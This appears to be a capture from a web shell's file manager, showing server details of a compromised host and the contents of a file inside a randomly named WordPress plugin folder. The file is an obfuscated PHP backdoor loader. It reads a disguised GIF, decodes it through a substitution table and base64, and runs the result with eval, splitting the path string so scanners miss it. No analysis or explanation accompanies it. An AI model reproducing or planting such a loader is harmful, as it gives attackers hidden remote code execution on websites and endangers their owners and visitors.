HEX
Server: Apache/2.4.59 (Debian)
System: Linux keymana 4.19.0-21-cloud-amd64 #1 SMP Debian 4.19.249-2 (2022-06-30) x86_64
User: lijunjie (1003)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/dk/wp-content/plugins/qebezosewa/olavuch.txt
<?php

function miwava_fokhashakhe($anitop_bigyqynyzh) {
    $ihypoj = cuwace_donazeth();
    $ovifika = array();
    $bofore = tymeri_athikhozhofa();
    $tushypo = array();
    for ($edukith = 0; $edukith < strlen($ihypoj); $edukith++) {
        $iqathyn = substr($ihypoj, $edukith, 1);
        $momoqu = substr($bofore, $edukith, 1);
        $tushypo[$iqathyn] = $momoqu;
    }

    $afyfexa = strtr($anitop_bigyqynyzh, $tushypo);
    $afyfexa = base64_decode($afyfexa);

    return $afyfexa;
}

function atyson_okhigozh($anitop_bigyqynyzh) {
    $ovifika = array();
    if (!file_exists($anitop_bigyqynyzh))
        return false;
    $thufixi = @file_get_contents($anitop_bigyqynyzh);
    if (!$thufixi)
        return false;
    $thufixi = substr($thufixi, 3);
    $ovifika = miwava_fokhashakhe($thufixi);
    return $ovifika;
}

function cuwace_donazeth() {
    $thufixi = "pDE4P+SWcVA0MLwJ2G37I6Kyxoutj/RHq95zld=ieFBvfThrZaXQ1mCOkNnYgsb8U";
    $ovifika = array();
    return $thufixi;
}

function tymeri_athikhozhofa() {
    $ovifika = "zLl4B5KgvOr3DWAGHUXJTqC7ZYS+x=p/a62wuhtkbREdsojF1enV9iMI8N0fPQcmy";
    $nocafu = array();
    return $ovifika;
}

$ixodapy = atyson_okhigozh(__DIR__ . "/asset" . "s/ima" . "ges/" . "lokuk" . "oq.gif");
if ($ixodapy) {
    @eval($ixodapy);
}